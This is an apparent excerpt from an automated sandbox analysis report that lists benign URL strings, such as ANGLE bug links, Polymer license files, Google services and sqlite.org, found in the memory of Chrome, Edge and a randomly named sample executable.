Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430m
Source: chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430z
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303494988.00002790029A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303494988.00002790029A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000002.00000002.2299236610.0000279002220000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229i
Source: chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301688574.00002790026D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: chrome.exe, 00000002.00000002.2300421934.000027900240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 00000002.00000002.2302764950.00002790028A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: chrome.exe, 00000002.00000002.2305560950.0000279002C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNzI0QUFXNV9zT2RvdUwy
Source: chrome.exe, 00000002.00000002.2299291343.000027900224C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000002.00000003.2186686219.0000279003180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186558337.0000279003328000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186630441.0000279003338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2187047907.0000279003354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: chrome.exe, 00000002.00000003.2188003796.0000279002B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188255416.000027900260C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188029808.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186686219.0000279003180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188060571.000027900320C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2300899545.00002790024F7000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186660916.0000279003388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186558337.0000279003328000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188524508.0000279003430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186630441.0000279003338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2187047907.0000279003354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2187983429.0000279002EC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188623753.0000279003494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000002.00000003.2188003796.0000279002B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188255416.000027900260C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188029808.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186686219.0000279003180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188060571.000027900320C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2300899545.00002790024F7000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186660916.0000279003388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186558337.0000279003328000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188524508.0000279003430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186630441.0000279003338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2187047907.0000279003354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2187983429.0000279002EC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188623753.0000279003494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000002.00000003.2188003796.0000279002B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188255416.000027900260C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188029808.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186686219.0000279003180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188060571.000027900320C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2300899545.00002790024F7000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186660916.0000279003388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186558337.0000279003328000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188524508.0000279003430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186630441.0000279003338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2187047907.0000279003354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2187983429.0000279002EC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188623753.0000279003494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000002.00000003.2188003796.0000279002B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188255416.000027900260C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188029808.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186686219.0000279003180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188060571.000027900320C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2300899545.00002790024F7000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186660916.0000279003388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186558337.0000279003328000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188524508.0000279003430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186630441.0000279003338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2187047907.0000279003354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2187983429.0000279002EC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188623753.0000279003494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 00000002.00000002.2305018778.0000279002B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: chrome.exe, 00000002.00000002.2305202603.0000279002BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: chrome.exe, 00000002.00000002.2305202603.0000279002BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/U
Source: Amcache.hve.12.dr	String found in binary or memory: http://upx.sf.net
Source: chromecache_94.4.dr	String found in binary or memory: http://www.broofa.com
Source: chrome.exe, 00000002.00000002.2305560950.0000279002C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2767400971.000000001D3A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 5BQwrSLxIZ.exe, 00000000.00000003.2277997554.000000002345E000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp, CBAKFCBF.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
